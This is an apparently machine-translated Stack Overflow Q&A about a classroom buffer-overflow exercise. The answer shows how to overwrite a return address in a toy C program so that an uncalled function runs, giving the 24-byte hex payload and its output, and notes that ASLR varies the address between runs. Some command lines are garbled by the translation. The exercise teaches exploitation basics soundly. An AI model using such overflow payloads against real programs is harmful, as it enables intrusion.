Принуждение программы к вызову функции в C с входной строкой

Итак, я делаю упражнение, в котором хочу вызвать функцию void not_call(), просто введя буфер. В основном то, что я хочу сделать, это использовать переполнение буфера для вызова not_call(). Я приближаюсь к этому, используя двоичную строку эксплойта, а затем использую программу hex2raw (принимает шестнадцатеричный формат, а затем превращает его в ASCII для десятичной цифры). Затем я собираюсь поместить эту двоичную строку эксплойта в файл .txt, а затем использовать ряд каналов в терминале unix для вызова not_call() следующим образом:

кошачий эксплойт.txt | ./hex2raw | ./имя_программы

Итак, с чем я борюсь, так это найти эту двоичную строку эксплойта. Я думаю, что мне нужно найти место в памяти, где not_call вызывается с помощью objdump, но я не уверен. Любая помощь в том, что я могу сделать? Я знаю, что мне придется использовать gdb, чтобы найти его. Я просто не знаю, где искать.

#include <stdlib.h>
#include <stdio.h>
void echo();

/* Main program */
int main() {
  while (1)
      echo();
  return(0); // never called
} // main

/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
  int c = getchar();
  char *p = dest;
  while (c != EOF && c != '\n') {
    *p++ = c;
     c = getchar();
  }
  *p = '\0';
  return dest;
} // mygets

/* Echo Line */
void echo() {
  char buf[4];    /* Way too small */

  mygets(buf);
  puts(buf);
} // echo

void not_called() {
  printf("This routine is never called\n");
  printf("If you see this message, something bad has happend\n");
  exit(0);
} // not_called

person Brett Barbara    schedule 27.02.2015    source источник


Ответы (1)


Вы хотите перезаписать адрес возврата из функции echo байтами, прочитанными из стандартного ввода, чтобы теперь он указывал на точку входа not_called.

Возьмем, к примеру, Mac OS/X 10.10, также известную как Yosemite. Я упростил код и добавил дополнительный printf, чтобы получить фактический адрес функции not_called:

#include <stdlib.h>
#include <stdio.h>

void echo(void) {
    char buf[4];    /* Way too small */
    gets(buf);
    puts(buf);
}

void not_called(void) {
    printf("This routine is never called\n");
    printf("If you see this message, something bad has happened\n");
    exit(0);
}

int main(void) {
    printf("not_called is at address %p\n", not_called);
    echo();
}

Давайте скомпилируем и выполним этот код с помощью clang:

chqrlie> clang t20.c && ./a.out

Вывод вполне ясен:

not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.

Используя шестнадцатеричный редактор, давайте подделаем входные данные и вставим их в консоль: короткий буфер buf выровнен по 64 битам, на 8 байт ниже сохраненной копии указателя кадра стека rbp, за которым следует адрес возврата, который мы хотим перезаписать. Например, ввод в шестнадцатеричном формате:

0000  3031 3233 3435 3637-3839 3031 3233 3435  0123456789012345
0010  50de da06 0100 0000-                     P��.....

Давайте вставим эти 24 байта в консоль и нажмем Enter:

0123456789012345P��^F^A^@^@^@
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11

Функция echo использует для чтения стандартный ввод, 24 байта сохраняются за концом buf, перезаписывая указатель кадра rbp, адрес возврата и дополнительный 0 байт. Затем echo вызывает puts для вывода строки в buf. Вывод останавливается на первом "'\0'", как и ожидалось. Затем rbp восстанавливается из стека и получает поврежденное значение, управление передается на адрес возврата. Адрес возврата был перезаписан адресом функции not_called, так что это то, что выполняется дальше. Действительно, мы видим сообщение от функции not_called, и по какой-то причине exit падает вместо корректного выхода из процесса.

Я специально использовал gets, чтобы читатели поняли, как легко вызвать переполнение буфера с помощью этой функции. Независимо от того, насколько велик буфер, ввод может привести к сбою программы или заставить ее делать интересные вещи.

Еще одна интересная находка заключается в том, как Mac OS/X пытается помешать злоумышленникам слишком легко использовать этот трюк: адрес, выдаваемый программой, меняется от одного запуска к другому:

chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.

Код каждый раз загружается по другому адресу, выбранному случайным образом. Ввод, необходимый для возврата функции echo к not_called, каждый раз разный. Попробуйте свою собственную ОС и проверьте, использует ли она этот трюк. Попробуйте ввести соответствующий ввод, чтобы выполнить работу (это зависит от вашего компилятора и вашей системы). Веселиться!

person chqrlie    schedule 27.02.2015